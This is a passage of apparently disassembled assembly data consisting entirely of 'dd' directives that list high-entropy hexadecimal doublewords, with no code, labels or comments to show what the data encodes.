		dd 0A65B88h, 5C58C5CCh,	0FE52B3E9h, 9D3239h, 0E2F00F3Ch
		dd 0F597153h, 0D612291Fh, 8C74E6C0h, 0C977D448h, 48D4000h
		dd 0EF703C91h, 8BEA00CFh, 0A6DF9407h, 6C00F433h, 0F742A98h
		dd 4CB4D767h, 7F015799h, 24BEC365h, 0D0B0D06Eh,	0BC507C0Eh
		dd 59F9072Bh, 26459FC0h, 2DD824C8h, 3E803C83h, 0A887F5DDh
		dd 0EF00833Fh, 4BF9E3D3h, 7BE6F384h, 48CA4830h,	476D2B02h
		dd 4CC871F8h, 3800E78Ah, 0FC7407E6h, 58D2B512h,	0F01C60AEh
		dd 5BCE639h, 80037E86h,	0F3017254h, 4D1438C0h, 26EACC73h
		dd 4C626h, 150C1A0h, 8558D6F2h,	478809DFh, 0B4FC80DCh
		dd 0AB131h, 0DFD97C82h,	9981E1FFh, 3AAE3600h, 5EFA0C7Eh
		dd 9AA75875h, 2387900h
		dd 0AF6C7D98h, 0EF977A00h, 0B7EE2AD4h, 409B1F7Ch, 0A40D4EE1h
		dd 24EF876Ah, 0B5AE8E34h, 71CE0AC0h, 0A8C01FF5h, 54D774F7h
		dd 0E17BB8h, 970C7688h,	82EB09B3h, 0A6E0989Ah, 0B4C49F0Bh
		dd 0B0300328h, 0E7539838h, 0BC763C8Dh, 0D05CA000h, 273B3162h
		dd 1867F03h, 0B7E4C3h, 42205A40h, 24D2A41Ch, 4501DDF6h
		dd 8B896686h, 0D8606FF9h, 0A2CA0359h, 0E1846006h, 0F01285C8h
		dd 734E0213h, 74EB8E01h, 0D221ADDDh, 7808920h, 75652E2Ch
		dd 43CD007Eh, 5600FC9Eh, 0AA09A2ABh, 0F28780h, 2918022Ch
		dd 0A119404Eh, 781F7000h, 963717D2h, 0A7EF0387h, 5B7AA6B6h
		dd 152A23BFh, 8943D7F0h, 2E4F2100h, 0ACD9558Eh,	23FA88h
		dd 63D40EF5h, 4D8CF634h, 67E8DA18h, 0EA6A6F51h,	18A711Fh
		dd 0A19032DDh, 21C49D36h, 252DE02Ch, 96FF3B00h,	7DE15063h
		dd 0B0740016h, 8AA6D1AEh, 0CD01BD1Bh, 0CA799C1Fh, 0C7C4FD98h
		dd 110A002Ch, 0FBD752E9h, 78041B71h, 66DFB353h,	0C36074D0h
		dd 0F92001EDh, 8EFEA02Ch, 0F738219Ch, 0CFCE76C8h, 0C55E1C01h
		dd 8162FF20h, 9F4498D7h, 6DE400FDh, 88B6F84Bh, 0A87E4078h
		dd 82D52900h, 58BA42F6h, 7A6D00F7h, 2280197Eh, 3079DB4Ah
		dd 0F52DC3Fh, 80289A3Dh, 0F9056079h, 0C0CA0E55h, 7460F25Ah
		dd 0F3452B34h, 0DCA28100h, 9CCF9622h, 0E37200C4h, 6E4743B5h
		dd 6500878Ah, 0AC676B3Dh, 0FC48A4h, 0E1956036h,	0B5F76469h
		dd 3A00B47Bh, 4F2CDCAAh, 0F25E362Bh, 9F022E43h,	0C0341C70h
		dd 3A96177Ch, 0EF01BC25h, 0FFE96AE4h, 0B260EE68h, 1F523BB6h
		dd 18DE6997h, 813010E3h, 17A2F89Fh, 0EEC108h, 0D984E856h
		dd 37001F4Dh, 6B889B20h, 1EACAFC6h, 4225A3h, 130F63B0h
		dd 0EC0EC5F6h, 0A09EC179h, 9DD5E522h, 31EE8Fh, 1B2EFC67h
		dd 0B4EF7584h, 97024D00h, 98AE5150h, 0FCF77107h, 9FBF053Fh
		dd 87C415B0h, 87414037h, 0E9008320h, 0DDB411BAh, 38FC75Ch
		dd 0EFF2C4C8h, 0DBB01831h, 0CE00AAB5h, 0E91C9E73h, 2EF44114h
		dd 124BCB3Dh, 0B90500F8h, 9F7F5CACh, 57388E7Fh,	0BBFB8F46h
		dd 0F36A802Ch, 3E173809h, 0FC80366Fh, 0EB989D7Eh, 86009002h
		dd 0D88D9457h, 0FC51E859h, 84E20095h, 896FAEFDh, 81621A8h
		dd 4B00B407h, 251DA245h, 0C974C2h, 5D1BE9B9h, 5BC0586Eh
		dd 1A81D300h, 0F2CB2298h, 86410321h, 0F060BE61h, 170F108Eh
		dd 8088145Ch, 40796883h, 853703BDh, 0FCBA4F31h,	3F1D8ED1h
		dd 0F67622A0h, 90720062h, 0BBD08B1Ch, 0A51E7089h, 2300523Bh
		dd 200B1A54h, 3A0CB86Eh, 7E006351h, 90AF1780h, 6B00EC15h
		dd 0A74E09A8h, 0BCFE9Bh, 0BAD52EAEh, 0BD9FA9E5h, 0E8B810C1h
		dd 0EC80C554h, 0C2033288h, 80F58770h, 0A3357F21h, 1D34B20h
		dd 0DBB6D14h, 40B2EB6Ch, 2DF77488h, 0C85D8800h,	7E50257Ch
		dd 917A06E6h, 1023DF3Eh, 8A4D331Ch, 8476CEC0h, 486486F2h
		dd 36002C85h, 0B977C42Ah, 0EF027E4Fh, 1B35EED9h, 0ADBDE0F5h
		dd 0F9D10AF2h, 370AE17h, 5DB5AFBDh, 40F8A5A9h, 0C1C4CFE3h
		dd 0F5A01F28h, 6D6CE40Eh, 9389405Bh, 7F64AAB7h,	0B93800FFh
		dd 67CCE78Fh, 8607967Ch, 0A2F23479h, 60305Ch, 0B6F74776h
		dd 1AF3272Ah, 63187865h, 0FA392A80h, 41D601A6h,	57FCB218h
		dd 0D0F8F82Dh, 3C22200h, 5F8E526Ah, 848F05FFh, 0C0EE8D6Fh
		dd 6DF37436h, 0E1CA3226h, 6EABA200h, 1D9F8106h,	747ADFAh
		dd 70207284h, 0C53B87F4h, 0D04C9900h, 0ECF724EBh, 7BFCEC70h
		dd 901500A8h, 2563FF45h, 0CF00D993h, 31AEEEB2h,	18CE554h
		dd 0D13D8A9Bh, 0D22B5008h, 0A1106440h, 80EB3538h, 139DC889h
		dd 38568h, 316E7118h, 0ED0188E0h, 847560Ah, 0EB00BC99h
		dd 0D59B80DCh, 0FB20006Fh, 0D7443379h, 3F00A6F9h, 34571248h
		dd 1477B32Eh, 0ACDB9A9Fh, 0A830A11Dh, 0DAD93898h, 0B60EF985h
		dd 9590009Ch, 8C1BC3A9h, 173248h, 15F9F00Bh, 1168D11h
		dd 5721FCCh, 0C837631Ch, 0BD60BBD8h, 81606238h,	0C0A779B7h
		dd 0A9426C10h, 79737FCh, 76E09D3Ch, 17C6212Ch, 108850Fh
		dd 0BF27A4A6h, 0A0ECF0C2h, 24777B00h, 59873E75h, 0E0C80FD9h
		dd 84A02E04h, 333A5EB0h, 0DB8B3550h, 0EA950C07h, 0B860C602h
		dd 0E6A8B7h, 0CA8E5E04h, 0D3242F8Ch, 28001DE8h,	41783707h
		dd 73AA5D85h, 18050098h, 5975886Ch, 1072C60Fh, 0F51A4700h
		dd 0F3B02721h, 9EE4F937h, 9FC4C3Eh, 97BACA07h, 1FA0A0E6h
		dd 0E9001D0Ah, 9DA8B67h, 36F8FFh, 15E25ACh, 5A8838D5h
		dd 0CC3F6C00h, 3D68AD95h, 37AB0AEh, 17D4FBEEh, 5F800C09h
		dd 0C80098BCh, 721C6CD8h, 0E7E2C7h, 0FC411F4Bh,	855CCFC9h
		dd 0F0AFB101h, 0F8D62DD7h, 7986FC70h, 0D94402D0h, 0F2FA3031h
		dd 0C5F707E0h, 8483A100h, 67A738F5h, 28B00094h,	0C398DCCFh
		dd 0F03DC26Fh, 1D04CC78h, 130B9547h, 0DE408583h, 823EB01Fh
		dd 3A52B22Fh, 53EC605Dh, 193B0007h, 8BAD4222h, 250087DFh
		dd 6FE4AAD3h, 0E0C030h,	0D13A631Eh, 22EAB45Dh, 6B9F006h
		dd 114887h, 0F20DE28Fh,	4EAAFF80h, 9F92C919h, 3DD0C670h
		dd 7A8607A5h, 0F068A9DDh, 0F3A0231h, 51BCD307h,	0CF00D9Ah
		dd 7EDF40h, 1CFE858h, 0D3F7E008h, 35D29603h, 42B4FCh, 0B6601020h
		dd 0DC218533h, 0C7FE7200h, 741E479h, 0CDAE00B9h, 4E9F4523h
		dd 0BF01082Ch, 75700592h, 0FFE43EA9h, 48446057h, 3CA78F11h
		dd 8849E000h, 35978B03h, 6AD60056h, 7C0B2044h, 0E6F20F5Bh
		dd 9A018978h, 0AC747106h, 0C03092C5h, 1E84033Ah, 551625BAh
		dd 2070DEF8h, 122B301Ch, 3C9B988Eh, 0DD2F31C9h,	0C17FF940h
		dd 0BB1DB03Ah, 3B600D8h, 104C983Eh, 86C03E6h, 259D886Ah
		dd 68AA8BD0h, 0D4623F1Ch, 171B807Ah, 26021DA1h,	0F8C401EDh
		dd 7A93750Ch, 8E81D012h, 0DD214500h, 0F40C39Ah,	0E89B00F2h
		dd 5FCAC17Eh, 8400E73Eh, 0D99E2CFAh, 74CF61h, 0EA77A904h
		dd 6FA0537Fh, 31C93Eh, 4CABDE34h, 306B1D87h, 991037F6h
		dd 20277D5h, 4F283CF8h,	0A02FE0B4h, 6AEC00A1h, 4426340Bh
		dd 0E218C6EBh, 22C89F07h, 0F4AEB1h, 0F347CA77h,	5C9AA36h
		dd 0FA69C300h, 0A320C52Bh, 0DE5E01D9h, 0A28C8781h, 39188EFDh
		dd 51FE0073h, 1DA606B4h, 8C3D5B5Ah, 0ACB01562h,	0FC2882FDh
		dd 8E4587E1h, 89BFA0ECh, 959043h, 559FD906h, 516E4108h
		dd 6625E3Bh, 0A02B670Bh, 0CC220018h, 1AAD117Fh,	1600C591h
		dd 0EDA1582Eh, 0DC0D68h, 0F3BCE962h, 8EA584CFh,	0B2D2900h
		dd 0D67AA8E5h, 0FDDF0231h, 2B0AF886h, 5FC3FC80h, 9F00DEC7h
		dd 0A405B104h, 3C9CD713h, 52807C47h, 0C9EFDA25h, 9803F295h
		dd 2390B16h, 5ECD80BCh,	60C51C06h, 1F59C028h, 0A3366A09h
		dd 1B1E2100h, 0A2C4F4BEh, 4E100076h, 99A56F8Ah,	3FEA3B9Eh
		dd 2EA7B903h, 80B5B20Dh, 24C79h, 0C7E0DBD3h, 402643A9h
		dd 0F92A1700h, 56373DADh, 0D7570013h, 68B3DF2Ch, 0FAF26FF3h
		dd 87BD6704h, 0B9C023C2h, 0CA7EE6h, 0EA0D02F9h,	189E60AAh
		dd 0B9911D00h, 0AC19DEA9h, 45050301h, 6DF058C1h, 0AA120E80h
		dd 75491C00h, 0FE89D421h, 0E3F800F9h, 0DBF65A28h, 0E0F083Ah
		dd 4392DF13h, 0C091E8FDh, 6A6460h, 56F76862h, 0B42C6134h
		dd 55B29F0Fh, 97D4C029h, 0F9426BFh, 0C3AAA650h,	84E64600h
		dd 0E100C5E3h, 886D5910h, 0BE5573h, 0CBFBFD3Bh,	0A0843D1Fh
		dd 0DE5AC300h, 4682F450h, 0C52F00F8h, 76B17CCFh, 0E6005572h
		dd 58250A3Ch
		dd 18DAFDEh, 51697830h,	8099CF4Fh, 4EF32EA0h, 0D7CD74h
		dd 8D3BF267h, 1676F9E7h, 97288A01h, 22A33FAFh, 7D7ADC40h
		dd 0F052006Eh, 8FA2340h, 0B6021614h, 30AEA5E9h,	0EB5C40F1h
		dd 0BCF600BBh, 10D81131h, 4E006BC8h, 0E737027Ah, 2BA6DEh
		dd 0E5BC4481h, 1B34AD9Ch, 0CC143100h, 0F97D4B94h, 0E6DF0001h
		dd 4980469Fh, 9324A2E1h, 991FC057h, 840CCF1Eh, 80FE112Eh
		dd 0F68924DCh, 0ABF9E0h, 0C8AD7F0Dh, 0EB57603Bh, 49858700h
		dd 48E90E81h, 1E2C900Ch, 3BB17F3h, 8F554E58h, 6CA4A1C0h
		dd 4FD1BD18h, 186728h, 0BA31A2FEh, 42490140h, 3B0F3E00h
		dd 2376E8EDh, 81622A39h, 7A893E90h, 0CA8AF380h,	0CD96DEA6h
		dd 0B5AE8818h, 2E335B21h, 3F41EDh, 0DAF8110Dh, 0F2EA23A2h
		dd 107A6901h, 0B27BA783h, 2AF0CCE9h, 10E03BDh, 0D40BA281h
		dd 0C6933398h, 0F2498900h, 4AE7B4BCh, 0BD830092h, 14D0ED6Bh
		dd 0BA003FDBh, 0E6981028h, 2B55A8h, 3D3C2FEh, 0FC7658E5h
		dd 7E1E9A00h, 959DFAF7h, 0A8A0001h, 0D488900Fh,	80E967B1h
		dd 63F0CAB0h, 0CE6F143h, 0F6E90D26h, 21CF8208h,	0BF638028h
		dd 0A2DCFCh, 0FF72EF2Bh, 25C7F592h, 0F6DFB00h, 0B8D909AEh
		dd 0F1283C08h, 79EF0F7Fh, 3D82FCB2h, 8C802420h,	0A7444288h
		dd 3699FE01h, 4EA1B6CEh, 210B0898h, 0A7003CC5h,	86B88E61h
		dd 3BA6B0A5h, 0E118732Fh, 42DD60DFh, 6A3398C0h,	9A0A7AE6h
		dd 41E900D8h, 3E90C977h, 2EF40694h, 6BFC08C6h, 384B0020h
		dd 0F147DB77h, 0FE6E0A37h, 458CE0A0h, 0C00F146Ah, 29E90949h
		dd 6501EA07h, 0B95C6FE5h, 9C521498h, 63FD30F7h,	0DEF14611h
		dd 2B818588h, 0EF863E3h, 50940D6h, 0B3C3005Ah, 0D8E0F3Dh
		dd 872A678h, 1943FD14h,	22AE02A4h, 4889123Eh, 7FCF6824h
		dd 0EB010FCAh, 0E34C6FEDh, 21C0BD08h, 2ECAF7F3h, 0E767051Dh
		dd 0C0785E74h, 8D1FC138h, 8C896E60h, 0C11E5C10h, 9D7C6FC0h
		dd 0EFD08C94h, 71920E4Ah, 48CF00A4h, 70C60B87h,	0E27E3F36h
		dd 8ABAA700h, 8CCEAA18h, 748100DAh, 0FC374708h,	940CC095h
		dd 24E2F07Bh, 1F97D44h,	63F59BA3h, 0E499576Ch, 9300203Bh
		dd 0A98A5D07h, 0D3F3B1h, 0A3D72F6Ah, 76CA0E8Eh,	46405F0Ah
		dd 1300DFAEh, 148F7DEh,	5988003Fh, 91CD678Fh, 0C300942Dh
		dd 1F0C956Fh, 3E07193h,	852EE239h, 8BC0568Dh, 203789Eh
		dd 5799FA95h, 5E7A903Ah, 23500043h, 7B040CA3h, 0C50086E6h
		dd 90C2AF94h, 74D5FDh, 0BB73788Ch, 91E5BAB0h, 6221C30Ch
		dd 1BCB02Fh, 0FCE85D1Bh, 0D46967E9h, 0A7005129h, 0E5918992h
		dd 3FA6DD5h, 0EAC57C4Fh, 80AF0119h, 0B91D846Bh,	205B8603h
		dd 0A0DA7EBFh, 4FCEBEh,	5187B515h, 0DF594397h, 2A8B7409h
		dd 40508E7Ch, 621C69CBh, 0D33E58AEh, 0C386FE00h, 6001EF14h
		dd 19BC9600h, 0B0BE6B50h, 43BA1C5Ch, 4C978073h,	0ED72E9C1h
		dd 0BD159203h, 0E3564758h, 274FA0FBh, 6437008Fh, 0C20B53CDh
		dd 671F92CBh, 0A2005BFAh, 46C4AC6Eh, 80A0199Ah,	4E671966h
		dd 0C5079604h, 0BFC05A4Dh, 0B74644h, 20E5A161h,	9633F34Ch
		dd 8052623Eh, 8F75ECEAh, 0F129BF9Fh, 9BA92990h,	0E02921E6h
		dd 0D841E10h, 5F91441Dh, 4474D444h, 31485184h, 0A8226844h
		dd 25E6F411h, 503C0415h, 149C4A5Dh, 945FC608h, 447A2819h
		dd 0E784905Bh, 47D25EAh, 48766214h, 28674284h, 39212124h
		dd 10581275h, 4589552Fh, 0B1B55910h, 0CD133100h, 3238427Fh
		dd 1507D51h, 99621F6Bh,	0D070F254h, 4000A8A0h, 0CEBAD42Dh
		dd 0E0BC3BFh, 18B29A19h, 7E21DD40h, 0FB0F2C67h,	0C05999E6h
		dd 433EFDAAh, 0C2F90060h, 48B90A6Ch, 0EDE40D45h, 0DA6BF500h
		dd 361E70CAh, 7DE6007Ch, 86D67B15h, 4EEA2743h, 4897B70Fh
		dd 0A5B28012h, 9FD36Ah,	9EBC8581h, 6B5E9522h, 64146300h
		dd 63EF4A0h, 353100AFh,	3F881377h, 360065FAh, 23BC89BDh
		dd 18E8C707h, 8CFB3B1Dh, 9301D769h, 0DF9CF345h,	0ADFCAF89h
		dd 0F89DF2B0h, 44A44953h, 1C234100h, 4647B6EEh,	0D09F9E03h
		dd 0A1C366F2h, 0D2D4365Bh, 80196007h, 0D4AB7E9h, 8049643Ch
		dd 0E4081D9h, 347E2F8h,	92B2C120h, 709055C7h, 0D107FF66h
		dd 0B04136B8h, 0D7F406C0h, 3A1A025Eh, 3D2BE8A5h, 40BE5469h
		dd 5CD43CA4h, 0B49D9700h, 75F468FCh, 4C113B0Ah,	41746280h
		dd 0B3A24BD1h, 8513B57Bh, 570F24D2h, 0E3246CEh,	0E51A0128h
		dd 527BDDB7h, 7681E426h, 0F9003E90h, 0B3CE90CBh, 1715E0Dh
		dd 51D5A0F1h, 0C72C7385h, 2B00E1E6h, 7F124992h,	727B3282h
		dd 0A25000F5h, 0AE9E1EA0h, 0E20A045Bh, 0C0FD3E27h, 53229000h
		dd 0EE33846Ch, 8CB50074h, 71524F61h, 0DDEC0F70h, 57750800h
		dd 48EB8A6h, 5C4800DBh,	22E5940Ch, 0BC1F9245h, 0A007978h
		dd 0FD058A1Eh, 8C2950CAh, 0C82602D7h, 357FEBACh, 835B24E0h
		dd 910E0D01h, 0FA1C1F58h, 0EE19C280h, 0AD7578A0h, 0C500EA98h
		dd 54267DFFh, 0F17099h,	0F20A57A4h, 44120C77h, 5F60FA00h
		dd 0EAD5252Ch, 3ADA3959h, 3CF1AE00h, 280A3B50h,	2C9DE500h
		dd 0CF5B6755h, 0B01450E1h, 0F3510985h, 0B8003443h, 5AEAE46Eh
		dd 2D60D807h, 40702938h, 7359A3F9h, 0E13A1857h,	2EE113Dh
		dd 8C8F4409h, 17400201h, 25652056h, 0B70EECD7h,	0E0B348ABh
		dd 0C2F23EA8h, 24C90052h, 0C7F13222h, 98A0F0DBh, 303CFF71h
		dd 0C59780BEh, 95AE331Dh, 8C04074Eh, 70BADCE4h,	93438BEDh
		dd 0D60CD124h, 5E652203h, 0F79ADB54h, 53C9E440h, 0F57138C7h
		dd 8EB1460Eh, 0C6F70EF7h, 503DDA20h, 0F71F8130h, 0A4C07E65h
		dd 0CDAC9551h, 0CE580002h, 0A2131E0Fh, 0C600FC59h, 5BBBE19Dh
		dd 0B21CE7h, 0D329CA8h,	384728B1h, 0D5D05807h, 9B0753FFh
		dd 3B9FC0DFh, 574B23h, 0AEE185F8h, 2A93FA70h, 5AC34600h
		dd 9D3D6117h, 0FE430780h, 40E15E5Ch, 2B14E665h,	0C826CE2Eh
		dd 7942C21Eh, 0C049CDA8h, 76DF20h, 0B72A639Dh, 4B3954ACh
		dd 8B0B3D03h, 98314A99h, 7EE5F32h, 52826EB0h, 892F40F4h
		dd 7F007DC5h, 329091E8h, 0F9F622Dh, 20BE9DF7h, 3E66F4C0h
		dd 0BB09E463h, 808FB3CCh, 0D671C406h, 12B8EE78h, 412E9079h
		dd 0F3F8F6D4h, 0F2C4C4C1h, 3A8B5300h, 40B1CEBBh, 1FEC0059h
		dd 2F3CAAE3h, 2700A132h, 95FE4DDAh, 2FA0214h, 4C3D39A4h
		dd 0A1E0BB71h, 7D0073C8h, 0E08C19CBh, 0D38194h,	29CFB233h
		dd 0C44F2A3Ah, 0E4BD3Eh, 10689896h, 0A56358h, 0B07C872Eh
		dd 3B714AD5h, 0D1E4CE00h, 26F3740Ah, 7DB90099h,	18C5FB39h
		dd 0E006E2Eh, 0E88BB16Dh, 3A96Ch, 7F32089h, 0E967533Dh
		dd 0C9C3E22Ch, 9A333000h, 4CE849h, 7D8E6E89h, 3BA217C4h
		dd 20F5F371h, 68002C07h, 3011D171h, 0C3DBADh, 9E6B54A7h
		dd 6D59C7E8h, 43B77C07h, 39D4CA3Fh, 0A510A7C7h,	0E2D79F8Ch
		dd 5E7641h, 0FC6E9031h,	29818D80h, 80DE683Ch, 0B9412D4Bh
		dd 18E4033h, 5344D697h,	0CC8C46B3h, 3902ED0Eh, 3629EE04h
		dd 148DE0B2h, 0CFE07B6h, 508835D4h, 8C36474h, 8F0012FEh
		dd 0F4926229h, 935D876h, 0F625B7AAh, 900F2B00h,	0F2006CA1h
		dd 0DAF91E02h, 7664F24h, 1BDFB44Ch, 6E4BC3EFh, 0EA9DC2D0h
		dd 0E41DE48h, 0C071BB53h, 0EC90C878h, 0B7620060h, 0D9346F49h
		dd 0EE38FF91h, 1B29804Bh, 8F46EBD6h, 4E980394h,	0BDCB5A7Ah
		dd 0D11C15F8h, 9515E00h, 278E356Bh, 33CF2C3h, 0D71B4A84h
		dd 55D012DFh, 1412011Eh
		dd 5900ED63h, 0EA5AFCF1h, 1A24003Fh, 0C3C08242h, 0DF00B138h
		dd 0A8520DACh, 345E7ADh, 79FD1C78h, 0AEE1C48Bh,	3C04E45Dh
		dd 0E02FD907h, 40417201h, 7BE4FFB2h, 8AD3002Dh,	7854B85Dh
		dd 8C0018BBh, 39ADB9A1h, 7F34EBF9h, 0A88E00CFh,	757ABDB5h
		dd 35035ACDh, 18A6D60Eh, 4190003Eh, 8FC9DB83h, 0A900B9D4h
		dd 5889712Eh, 780A80h, 0A21F37AEh, 5D82CBAh, 4BD0DB09h
		dd 8F20006Ah, 28C718h, 55BCCC40h, 0C3B0DD53h, 6AEFE10Fh
		dd 11FD60F8h, 740287E5h, 5E6C00CDh, 0EEBAD6CEh,	0CA07C53Ch
		dd 5B8723Dh, 1E5AA2F0h,	5FF70058h, 0A763DFACh, 5DFAB3E8h
		dd 43E1A400h, 77980BE3h, 8C2A5571h, 29F81FFBh, 8C2E9495h
		dd 598BE90Bh, 0AB96A500h, 0A100818Ch, 0C828FEFCh, 78967h
		dd 7A73ED55h, 8F6F5DEFh, 63C29E00h, 5601FECEh, 0D5300085h
		dd 25C618F4h, 825C0CF0h, 0F37800F7h, 0DBB3DF8Ch, 244F0F56h
		dd 9EE0D87Eh, 2D52096Dh, 64009AF2h, 85623C44h, 0AAE8ED08h
		dd 0AAB607F0h, 3BCCC990h, 18BA0070h, 2E7DAB86h,	171F911Bh
		dd 34806479h, 0F3BA3BDh, 25B400B9h, 0E2C4883Fh,	0D3004512h
		dd 8C2A8289h, 0D535FBh,	44DE5062h, 1ABABCC6h, 495C8601h
		dd 0DAB0FD0Dh, 56E1E8h,	0AD107105h, 1D9553BEh, 0F0366600h
		dd 37AF4E43h, 5FE0A0A6h, 0D39C02CDh, 0A3EADFEFh, 7C45ACA0h
		dd 9125D8F7h, 0FFF4C2h,	57B77A95h, 0DA004EB3h, 236F55C8h
		dd 4B755Dh, 61A9407Dh, 0FB47A7B6h, 735CAA07h, 0D8427886h
		dd 0FFA3E092h, 0EC7E50C1h, 2747004Fh, 10A20A23h, 2D00A6D0h
		dd 0D63137F5h, 0F28103E2h, 0AAFA3151h, 0F85508A0h, 0CC00BCB0h
		dd 80CD4325h, 0DF5153h,	0EDE3C87Ah, 12F7F561h, 43785F01h
		dd 6AE51E0Eh, 0BB3424h,	0F5C801EDh, 0AEC9733Ch,	58E76718h
		dd 0E175388h, 38200B18h, 9A42E900h, 0DBFC4B6Eh,	0CA128800h
		dd 0B896491Dh, 0C3300044h, 0D1094A68h, 2732799Ch, 455B28E7h
		dd 0C09C8050h, 67AA7E0Fh, 11B8F3Dh, 4EAB14B2h, 4A7126FFh
		dd 0ADF83940h, 77490074h, 7B617DE7h, 0A20E6548h, 807E8718h
		dd 71FAA6CFh, 0D01D0060h, 123C03E1h, 0AB506ED4h, 93047C8Ch
		dd 49910454h, 8880F4D4h, 26B3A6h, 0CDC1B7E4h, 0DA3E5A12h
		dd 9AD7A900h, 0EAFD9998h, 0E890048h, 5979AF7Ah,	150A1EC8h
		dd 8C399B5Ah, 846CD782h, 215F000Ah, 0D33E88B9h,	0AEB681AFh
		dd 8AD8F63Eh, 33CC36E1h, 966B004Ch, 0D334311Fh,	492657DFh
		dd 0D500B803h, 0A0CF71BCh, 401001B4h, 0D44E2B5Eh, 3460EEC8h
		dd 0DB00C04Fh, 0ACCAA80Ch, 3E6F0EBh, 8AEA724Bh,	94886B22h
		dd 6F09166Ch, 55DE8B3h,	0E008AF78h, 0C9728060h,	0C1492A5h
		dd 0EAE7E01h, 34BCC895h, 4F60AAE5h, 1DCC00B1h, 8C7149FFh
		dd 0F71DC3A7h, 3DC0E3A5h, 7D8B231Fh, 0F613E2AEh, 363027Eh
		dd 0A1EFAD1h, 7E3F6E0h,	4CD57C2Eh, 0D840E51Dh, 0EA8BD144h
		dd 0D2180150h, 0A4E39CC9h, 0B6F083DAh, 0F8BE6039h, 71CF9F11h
		dd 0DDC11D55h, 0EFFF800Bh, 0FC23F875h, 3FE49400h, 0A38B20Dh
		dd 0A762015Ch, 9605A6DAh, 86C3F4AFh, 51E48E06h,	0A036D2h
		dd 0CA4AFACDh, 0E869B98Fh, 0F830A41Dh, 80FC298Bh, 4F5BFE82h
		dd 92F0B76Dh, 0DFD4CD1Ch, 980493CCh, 612000E9h,	0E1A092B8h
		dd 7509EC6Fh, 2083C097h, 0FC0B3B5Ch, 24410DFh, 9600730Dh
		dd 0D86A33ADh, 7BA016A1h, 0B0F2B89Ah, 501F0051h, 7ECE2896h
		dd 9E0F64A7h, 0C5AD2Eh,	0D1FDA47Dh, 0EACF4C7h, 910A3642h
		dd 32BDCFh, 52FC8A68h, 7D3D4A93h, 8509FC13h, 0C68427h
		dd 7CD8F370h, 0ACA840FEh, 0B4E32100h, 471418C0h, 5FBC1ED1h
		dd 0C0769E55h, 0A19DF1E7h, 2B1D0ECAh, 0E843477Ch, 885A6EE9h
		dd 0A9BFD9h, 38C9CC3Dh,	6BAAC56Fh, 1157EB20h, 54341B47h
		dd 2F007EFCh, 7D7C6916h, 5A9A2h, 38843D7Fh, 42BB9477h
		dd 3FF51401h, 27EE5DB4h, 20997420h, 9700DD1Bh, 3A741AB9h
		dd 1D60CA9h, 42EE88B2h,	0D8CAA2E4h, 83B88372h, 53BA3109h
		dd 0F6B0800Dh, 6E434Fh,	56D32F9Fh, 9896B56Ah, 2340EC00h
		dd 4613F870h, 2AFF00DAh, 0C903EA3Dh, 0EE3DB330h, 0C30A00AEh
		dd 25DE44B5h, 0E0DBF8DCh, 36562EFCh, 72830048h,	0D20C01A9h
		dd 0C7753707h, 7180ACDEh, 724C9C8h, 529A90B7h, 9780C90Ch
		dd 0B91F0BC6h, 0A734510Bh, 0B7EC2095h, 0BE9CCBh, 0CD4CD340h
		dd 77D2FC02h, 0DB093F0Bh, 509098D7h, 907C01ACh,	8CE81C3Bh
		dd 0C08880E2h, 0FAF22616h, 5F0A006Eh, 86AFDAF0h, 840048B2h
		dd 0E11A0D7Ch, 0BA1178D8h, 2CF63AD0h, 0A636EC8Eh, 7133D600h
		dd 6700107Ch, 5934E19Eh, 1676A3h, 0FFE377DFh, 42F9303Ah
		dd 3379400Eh, 886B606Dh, 0BA551h, 0BC04312Dh, 4E1F17CAh
		dd 0DE266828h, 0B2D5E800h, 0C66678EBh, 0F6E600E0h, 30805A50h
		dd 4700DA54h, 64151682h, 7C16Bh, 0BA24F48Ah, 591AC632h
		dd 0DCD0CF0Ch, 0B8EB0D8h, 0C47678E1h, 2F878D00h, 9503D95Dh
		dd 0A8179764h, 0B43B804Dh, 27E24Ch, 323F78C5h, 0C2AF6A53h
		dd 0D9E39h, 8ECB37D7h, 247A2CB6h, 0F830EAh, 0CA42E2C5h
		dd 0E803D671h, 3DDD92FEh, 1B89B02Fh, 0DC7C4C6Fh, 0F4058239h
		dd 0AB5C812Bh, 37332EC1h, 7B0F6C22h, 4016960Eh,	9BF36AE8h
		dd 26053F2Eh, 0E2876986h, 8606087h, 15E3AEBh, 0E597632Ch
		dd 25B4342Eh, 0E8A3F764h, 8753B6E8h, 0D921AA00h, 1A0A95C6h
		dd 0B7AE0388h, 56F7A865h, 0E4648380h, 58DD7730h, 0B0190Eh
		dd 0D706B6F4h, 2EE0B8C9h, 96BEC0C0h, 0C0E2B9C5h, 0F01D0A11h
		dd 0D00B898h, 52973893h, 7FA7C9A0h, 0D6F92E7Fh,	5DE20338h
		dd 6EDBCCCh, 0A63C1690h, 0F599620Fh, 8DBDA09Bh,	18EBB25h
		dd 3FF715DEh, 3009802Fh, 5C003652h, 39D4579Bh, 13315F86h
		dd 1E2C1733h, 8FD9C364h, 79ABBB60h, 3A8594D0h, 23B5EE0Fh
		dd 4D2E20F7h, 1FFF623Dh, 2E0F4912h, 0AEFE00E8h,	14506192h
		dd 1AE448h, 45836D20h, 0E7C376h, 244C81E2h, 155BC53Bh
		dd 0FF0CE0F3h, 1C901800h, 8B4D87BCh, 902C90A3h,	8EED1613h
		dd 5C700169h, 74B9165Eh, 0ABEADBE8h, 80BB8C3Fh,	0ECC49BA4h
		dd 98602BA9h, 0D3D724DCh, 0E0180074h, 1DFD1B66h, 14491024h
		dd 0AD00F0BCh, 7FF1BCC6h, 7E3EFBB0h, 8B830059h,	9CD0DD80h
		dd 0E983F1Ah, 0C012DB1Dh, 416728C2h, 458CAh, 0C73D1ABh
		dd 48BE5E1Ch, 0F07E9FEh, 606734E3h, 48B9CDA2h, 313B1314h
		dd 0E899407Ch, 968BE0EDh, 0EB01827Fh, 45DED0BAh, 0D2F4FF1Bh
		dd 48E80132h, 6E211F71h, 0D6BE4217h, 28EE54C0h,	5A74B900h
		dd 0B48153BFh, 275E268Dh, 50891C14h, 0E49678DBh, 6828AD09h
		dd 1EF65B4h, 2F15F59Dh,	20EB3F7Ch, 7604B058h, 117DE09Bh
		dd 1E164E00h, 0E902EC4Ch, 0DD8F6482h, 187900DFh, 0D14939B0h
		dd 0CD700398h, 80B2F1FDh, 3D2BD5h, 0DFCE3720h, 7FB32146h
		dd 0B4301F28h, 80DC393Ch, 20C50D8h, 7CD5F1D6h, 0EF49C9D4h
		dd 60D5C4C2h, 0EEC39FECh, 89E507BEh, 10A8FD61h,	0ACE0B4A3h
